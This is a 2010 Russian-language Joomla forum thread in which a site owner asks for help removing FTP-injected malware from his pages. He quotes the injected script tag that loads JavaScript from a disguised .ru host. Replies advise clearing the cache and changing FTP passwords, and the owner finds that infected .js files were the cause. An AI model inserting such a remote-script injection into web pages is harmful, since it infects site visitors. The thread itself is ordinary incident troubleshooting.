Joomla 1.5 Вредоносный код на страницах сайта - удалил в файлах, но он не исчез.

Тема в разделе "Вопросы безопасности", создана пользователем greatst, 26.02.2010.

  1. Offline

    greatst Недавно здесь

    Регистрация:
    26.02.2010
    Сообщения:
    3
    Симпатии:
    0
    Пол:
    Мужской
    Ребята,
    Очень нужна помощь!!

    В фтп попал вирус и заразил все index.php и подобные файлы вредоносным кодом.
    Я удалил код из всех файлов, однако при загрузке страницы чужой код все равно есть!:'(
    Если смотреть исходный код страницы, то он выглядит нормально:
    </div>
    </body>
    </html>

    Однако внизу страницы появилось белое пространство, и если его выделить и посмотреть исходный код отдельного фрагмента, то видно чужой код:
    </div>
    <div id="MainMenuSub"></div><script defer="1" src="http://opendns-com.gougou.com.allabout-co-jp.newvillagefresh.ru:8080/zynga.com/zynga.com/google.com/yahoo.com.cn/brazzers.com.php"></script></body></html>

    Я перепроверял все файлы, лежащие в фтп, и ничего там не обнаружил.. не знаю теперь что делать..
    Может быть кто-нибудь знает откуда он берется и как от него избавиться?

    Заранее вам всем спасибо!
     
  2.  
  3. Лат
    Offline

    Лат Звоните 8 (905) 778-52-44

    Регистрация:
    31.01.2007
    Сообщения:
    1 751
    Симпатии:
    113
    Пол:
    Мужской
    кеш чистили?
     
  4. Offline

    greatst Недавно здесь

    Регистрация:
    26.02.2010
    Сообщения:
    3
    Симпатии:
    0
    Пол:
    Мужской
    если это папка cashe, то она пустая..

    кеш браузера тоже чистил..
     
  5. Лат
    Offline

    Лат Звоните 8 (905) 778-52-44

    Регистрация:
    31.01.2007
    Сообщения:
    1 751
    Симпатии:
    113
    Пол:
    Мужской
    ссылку на сайт скажите
     
  6. Asylum
    Offline

    Asylum специалист

    Регистрация:
    09.02.2007
    Сообщения:
    2 571
    Симпатии:
    152
    Пол:
    Мужской
    Поменяйте пароли к фтп, иначе вирь так и будет прописываться
     
  7. Offline

    greatst Недавно здесь

    Регистрация:
    26.02.2010
    Сообщения:
    3
    Симпатии:
    0
    Пол:
    Мужской
    Всем спасибо за ответы!
    Проблема решена.
    оказалось, довольно банально - я удалил код из файлов index и default, но вирус поразил еще некоторые файлы с расширением .js которые я не сразу заметил...

    [!]
     

Поделиться этой страницей

Загрузка...